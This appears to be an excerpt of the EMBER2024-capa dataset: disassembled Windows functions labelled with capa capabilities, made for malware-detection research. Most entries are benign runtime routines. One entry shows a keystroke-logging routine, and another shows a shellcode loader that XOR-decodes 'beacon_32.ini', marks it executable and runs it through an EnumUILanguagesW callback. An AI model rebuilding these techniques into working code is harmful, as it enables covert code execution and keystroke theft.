joyce8/EMBER2024-capa huggingface dataset:
Function at 0x465422
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
lea ecx, [ebp - 0x10]
push ecx
mov eax, 2
push edx
mov word [ebx], ax
call fcn.0045a7df
mov eax, dword [eax]
push eax
call dword [sym.imp.WSOCK32.dll_inet_addr]
lea esi, [ebp - 0x10]
mov edi, eax
call fcn.00401350
cmp edi, 0xffffffff
jne 0x465494
mov eax, dword [ebp + 0x10]
push 0x48a2e8
push eax
call fcn.0044d0e6
add esp, 8
test al, al
je 0x465494
push 0
push 1
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
add eax, ecx
call fcn.00403f30
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0
push 2
jmp 0x465474
mov eax, dword [ebp + 0x14]
lea ecx, [eax - 1]
mov dword [ebx + 4], edi
cmp ecx, 0xfffe
ja 0x46548e
push eax
call dword [sym.imp.WSOCK32.dll_htons]
pop edi
mov word [ebx + 2], ax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x466931
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 0x38
lea eax, [ebp - 0x48]
push 0
push eax
call fcn.004130e0
add esp, 0xc
mov eax, 1
lea ecx, [ebp - 0x4c]
push ecx
push 0
push esi
mov dword [ebp - 0x4c], 0x7c
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
call fcn.00411361
add esp, 4
push eax
push esi
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
jne 0x466994
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp - 0x44]
mov ebx, dword [ebp - 0x48]
push 0
mov ecx, edi
call fcn.00403e10
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x3c]
push 0
lea ecx, [edi + 0x10]
call fcn.00403e10
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x30]
push 0
lea ecx, [edi + 0x20]
call fcn.00403e10
mov eax, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x28]
push 0
lea ecx, [edi + 0x30]
call fcn.00403e10
mov eax, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x20]
lea esi, [edi + 0x40]
push 0
mov ecx, esi
call fcn.00403e10
mov eax, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x18]
lea ecx, [edi + 0x50]
push 0
call fcn.00403e10
lea eax, [edi + 0x50]
push eax
lea edx, [ebp - 0x10]
push edx
push esi
call fcn.0044d102
push eax
lea esi, [edi + 0x60]
call fcn.0040e400
lea ecx, [ebp - 0x10]
call fcn.00402250
mov ax, word [ebp - 0x34]
mov word [edi + 0x78], ax
mov eax, dword [ebp - 0x40]
mov dword [edi + 0x74], eax
dec eax
je 0x466a4c
dec eax
je 0x466a3a
mov dword [edi + 0x70], 3
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [edi + 0x70], 2
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [edi + 0x70], 1
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x466b9b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0xd0], 0
je 0x466bdd
test al, al
je 0x466bdd
lea eax, [esi + 0xd4]
push eax
call fcn.00431942
push esi
push 0
push 0x466b89
call fcn.004153c4
xor eax, eax
add esp, 0xc
cmp dword [esi + 0x18], eax
sete al
pop esi
pop ecx
pop ebp
ret 8
push eax
push esi
call fcn.00466a5e
pop esi
pop ecx
pop ebp
ret 8

Function at 0x4689db
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov al, byte [0x4964e7]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
push 0x8000
push edi
mov byte [ebp - 4], al
call fcn.004142e9
add esp, 4
push eax
call fcn.004141fe
add esp, 8
mov esi, eax
push ebx
mov dword [ebp - 8], esi
call fcn.0044404c
test al, al
je 0x468a38
push edi
push ebx
call fcn.00443413
push eax
push 1
push ebx
call fcn.0046823d
push eax
call fcn.00414466
add esp, 0x10
mov ebx, eax
jmp 0x468a83
push esi
jmp 0x468a96
lea esi, [ebp - 0x1c]
call fcn.0040d600
push ebx
call fcn.00453694
push esi
push eax
call fcn.00458a2d
mov edx, dword [ebp - 0x1c]
push edx
push 0x486e38
push edi
call fcn.004144e0
add esp, 0xc
cmp byte [ebp - 4], 0
mov dword [ebp - 0xc], eax
je 0x468a75
push ebx
call fcn.004536b5
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea esi, [ebp - 0x1c]
call fcn.00401350
mov esi, dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
push edi
call fcn.00414776
add esp, 4
cmp esi, 0xffffffff
jne 0x468a35
push 0x4000
push edi
call fcn.004142e9
add esp, 4
push eax
call fcn.004141fe
add esp, 8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x468eee
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor esi, esi
xor edi, edi
mov byte [ebp + 0xb], 1
cmp dword [ebx + 4], esi
je 0x469009
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
mov byte [eax], 0
mov eax, dword [ebp + 0x10]
mov byte [ecx], 0
mov ecx, dword [ebp + 0xc]
mov byte [edx], 0
mov byte [eax], 0
mov dword [ecx], esi
lea ebx, [ebx]
push esi
push ebx
call fcn.00436847
movzx eax, word [eax]
cmp eax, 0x2b
je 0x468f51
cmp eax, 0x5e
je 0x468f4c
cmp eax, 0x21
je 0x468f4c
cmp eax, 0x23
jne 0x468f84
cmp eax, 0x2b
jne 0x468f5a
mov edx, dword [ebp + 0x10]
mov byte [edx], 1
inc esi
jmp 0x468f2e
cmp eax, 0x5e
jne 0x468f68
mov eax, dword [ebp + 0x14]
mov byte [eax], 1
inc esi
jmp 0x468f2e
cmp eax, 0x21
jne 0x468f76
mov ecx, dword [ebp + 0x18]
mov byte [ecx], 1
inc esi
jmp 0x468f2e
cmp eax, 0x23
jne 0x468f81
mov edx, dword [ebp + 0x1c]
mov byte [edx], 1
inc esi
jmp 0x468f2e
push esi
inc esi
push ebx
mov dword [ebp + 0x1c], esi
call fcn.00436847
movzx eax, word [eax]
cmp eax, 0x7b
jne 0x469072
mov eax, 0x40
lea ecx, [ebp - 0x10]
call fcn.004013c0
lea eax, [ebp + 0x1c]
push eax
lea ecx, [ebp - 0x10]
push ecx
push ebx
push 0x7d
call fcn.00460234
test al, al
je 0x46904e
mov edx, dword [ebp - 0x10]
mov eax, dword [edi*4 + 0x491968]
push edx
push eax
call fcn.0041164b
add esp, 8
test eax, eax
je 0x468fde
inc edi
cmp edi, 0x62
jl 0x468fc0
cmp edi, 0x62
jne 0x469045
xor edi, edi
lea esi, [ebp - 0x10]
call fcn.00402140
movzx ecx, word [eax]
push ecx
call dword [sym.imp.USER32.dll_VkKeyScanW]
mov edx, dword [ebp + 0xc]
cwde
mov dword [edx], eax
cmp eax, 0xffffffff
jne 0x469014
mov ecx, esi
call fcn.00402250
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
test eax, 0x200
je 0x469021
mov ecx, dword [ebp + 0x14]
mov byte [ecx], 1
test eax, 0x400
je 0x46902e
mov edx, dword [ebp + 0x18]
mov byte [edx], 1
test eax, 0x100
je 0x469068
mov eax, dword [ebp + 0x10]
lea ecx, [ebp - 0x10]
mov byte [eax], 1
call fcn.00402250
jmp 0x4690ab
cmp byte [edi + 0x491af0], 0
je 0x46905c
lea ecx, [ebp - 0x10]
mov byte [ebp + 0xb], 0
call fcn.00402250
jmp 0x4690ab
movzx ecx, byte [edi + str._f_b_b..__reepqrstuvwxyz________t___]
mov edx, dword [ebp + 0xc]
mov dword [edx], ecx
lea ecx, [ebp - 0x10]
call fcn.00402250
jmp 0x4690ab
push eax
call dword [sym.imp.USER32.dll_VkKeyScanW]
mov ecx, dword [ebp + 0xc]
cwde
mov dword [ecx], eax
cmp eax, 0xffffffff
je 0x469009
test eax, 0x200
je 0x469091
mov edx, dword [ebp + 0x14]
mov byte [edx], 1
test eax, 0x400
je 0x46909e
mov ecx, dword [ebp + 0x18]
mov byte [ecx], 1
test eax, 0x100
je 0x4690ab
mov edx, dword [ebp + 0x10]
mov byte [edx], 1
mov eax, dword [ebp + 0xc]
and dword [eax], 0xff
mov al, byte [ebp + 0xb]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x100024a1
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
mov esi, str.beacon_32.ini
lea edi, [ebp - 0x38]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 1
lea ecx, [ebp - 0x108]
call fcn.100034a3
push 0x40
push 0x22
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x108]
call fcn.10003403
push 2
push 0
push 0
lea ecx, [ebp - 0x108]
call fcn.1000362c
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x108]
call fcn.10003558
mov ecx, eax
call fcn.10002615
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
lea ecx, [ebp - 0x108]
call fcn.1000362c
push dword [ebp - 0xc]
call fcn.10006ce3
pop ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
push dword [ebp - 4]
lea ecx, [ebp - 0x108]
call fcn.10003759
and dword [ebp - 0x1c], 0
and dword [ebp - 0x10], 0
jmp 0x1000254b
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jge 0x10002569
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x10]
movsx eax, byte [eax]
xor eax, 0x5b
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x10]
mov byte [ecx], al
jmp 0x10002544
and dword [ebp - 0x14], 0
jmp 0x10002576
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0xc]
jge 0x10002594
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x14]
movsx eax, byte [eax]
xor eax, 0x4b
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x14]
mov byte [ecx], al
jmp 0x1000256f
mov byte [ebp - 5], 0x40
lea eax, [ebp - 0x1c]
push eax
movsx eax, byte [ebp - 5]
push eax
push dword [ebp - 0xc]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x24], eax
push 0
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
lea eax, [ebp - 0x28]
push eax
push 4
push dword [ebp - 0xc]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
and dword [ebp - 0x20], 0
lea ecx, [ebp - 0x108]
call fcn.100025e5
mov eax, dword [ebp - 0x20]
pop edi
pop esi
leave
ret
Function at 0x10002970
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], ecx
cmp dword [ebp + 0x10], 0
jg 0x10002990
jl 0x10002987
cmp dword [ebp + 0xc], 0
ja 0x10002990
xor eax, eax
xor edx, edx
jmp 0x10002abb
mov eax, dword [ebp - 8]
cmp dword [eax + 0x38], 0
je 0x100029af
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
mov ecx, dword [ebp - 8]
call fcn.1000324d
jmp 0x10002abb
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 8]
call fcn.10004323
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jbe 0x10002a1a
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
call fcn.10002abf
pop ecx
pop ecx
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
call fcn.10004430
push eax
push dword [ebp + 8]
call fcn.10004a79
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov dword [ebp + 8], eax
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
push dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
call fcn.100043d5
mov eax, dword [ebp - 8]
cmp dword [eax + 0x4c], 0
je 0x10002aac
mov ecx, dword [ebp - 8]
call fcn.10003f63
mov dword [ebp - 0x18], 0xfff
cmp dword [ebp - 4], 0xfff
jbe 0x10002a88
mov eax, dword [ebp - 8]
push dword [eax + 0x4c]
push 0xfff
push 1
push dword [ebp + 8]
call fcn.1000cb98
add esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
mov dword [ebp + 8], eax
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x10], 0xfff
je 0x10002a86
xor eax, eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x1c]
sbb edx, eax
mov eax, ecx
jmp 0x10002abb
jmp 0x10002a36
cmp dword [ebp - 4], 0
jbe 0x10002aac
mov eax, dword [ebp - 8]
push dword [eax + 0x4c]
push dword [ebp - 4]
push 1
push dword [ebp + 8]
call fcn.1000cb98
add esp, 0x10
mov ecx, dword [ebp - 4]
sub ecx, eax
mov dword [ebp - 4], ecx
xor eax, eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x1c]
sbb edx, eax
mov eax, ecx
leave
ret 0xc

Function at 0x1000e57c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000e5bb
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000e5bb
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000e5bb
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000e5bb
cmp dword [ecx + 0x74], 0xe
jbe 0x1000e5bb
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10012ed1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.10007af0
mov eax, dword [0x10029080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.10011549
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x10012f13
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x1001306f
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.1001dbd0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x1002a828]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.10012a5a
mov ecx, dword [esi*4 + 0x1002a828]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x10013068
cmp eax, dword [ecx + edi + 0x24]
jne 0x10013068
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10013068
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10012a5a
add esp, 0x14
test edx, edx
jl 0x10013068
jg 0x10012fde
test eax, eax
jb 0x10013068
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x10013068
jl 0x10012ff8
cmp dword [ebp - 0x1008], eax
ja 0x10013068
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x10013016
test ebx, ebx
je 0x1001304f
cmp ecx, edi
jae 0x1001304f
mov al, byte [ecx]
cmp al, 0xd
jne 0x10013030
lea eax, [edi - 1]
cmp ecx, eax
jae 0x1001303c
cmp byte [ecx + 1], 0xa
jne 0x1001303c
inc ecx
jmp 0x1001303c
movzx eax, al
movsx eax, byte [eax + 0x10029328]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x10013016
cmp edx, ebx
jne 0x10013016
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x1001306d
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10007369
leave
ret
Function at 0x10013235
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1002a828]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10013275
cmp byte [ebx], 0xa
jne 0x10013275
or byte [edi + eax + 0x28], 4
jmp 0x1001327a
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x10013379
mov dl, byte [eax]
cmp dl, 0x1a
je 0x1001335c
inc eax
cmp dl, 0xd
je 0x100132a6
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x100132cc
cmp eax, ecx
jae 0x100132da
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x1001328e
jmp 0x10013379
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10013357
cmp dword [ebp - 0x10], 0
je 0x10013357
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x1002a828]
test byte [eax + edi + 0x28], 0x48
je 0x10013331
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x1001331c
mov byte [esi], dl
jmp 0x1001332d
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1002a828]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x10013379
cmp byte [ebp - 1], 0xa
jne 0x10013340
cmp esi, ebx
jne 0x10013340
mov byte [esi], 0xa
jmp 0x10013378
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.10012a78
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x10013379
mov byte [esi], 0xd
jmp 0x10013378
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x1002a828]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10013376
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10013379
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10013382
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x1002a828]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100133c8
cmp word [ebx], dx
jne 0x100133c8
or byte [eax + edi + 0x28], 4
jmp 0x100133cd
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x10013530
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x10013510
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x1001340e
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x10013444
cmp eax, edx
jae 0x10013452
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x100133e9
jmp 0x10013530
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001350b
cmp dword [ebp - 0x18], 0
je 0x1001350b
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x1002a828]
test byte [eax + edi + 0x28], 0x48
je 0x100134e1
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x100134a5
mov word [esi], cx
jmp 0x100134dc
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x1002a828]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x1002a828]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x1002a828]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x10013530
pop eax
cmp word [ebp - 4], ax
jne 0x100134f1
cmp esi, ebx
jne 0x100134f1
mov word [esi], ax
jmp 0x1001352d
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.10012a78
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x10013530
push 0xd
pop eax
jmp 0x100134ec
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x1002a828]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x1001352a
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x10013530
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10013f92
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10022308
push 0x10022300
push str.FlsAlloc
push 0x1f
call fcn.10013e5a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10013fc6
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001f138]
call esi
jmp 0x10013fcc
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10014013
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10022318
push 0x10022310
push str.FlsGetValue
push 0x21
call fcn.10013e5a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001404a
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001f138]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10014052
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10022320
push 0x10022318
push str.FlsSetValue
push 0x22
call fcn.10013e5a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001408c
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1001f138]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10017ba3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10017c40
push ebx
push esi
call fcn.10017b6c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10016941
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10017bed
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10017c3f
push edi
push eax
call fcn.10014700
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10017c0d
call fcn.1000f7f2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10017c3e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10016941
add esp, 0x20
test eax, eax
jne 0x10017c2c
push edi
call fcn.1000f7f2
jmp 0x10017c34
push ebx
call fcn.1000f7f2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10019ebd
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.1000fb96
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10019f2c
cmp esi, dword [ebp - 4]
je 0x10019f27
cmp dword [ebp + 0xc], 0
je 0x10019f27
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10019f04
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.10019a0f
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x10019f2e
xor eax, eax
inc eax
jmp 0x10019f2e
xor eax, eax
pop edi
pop esi
leave
ret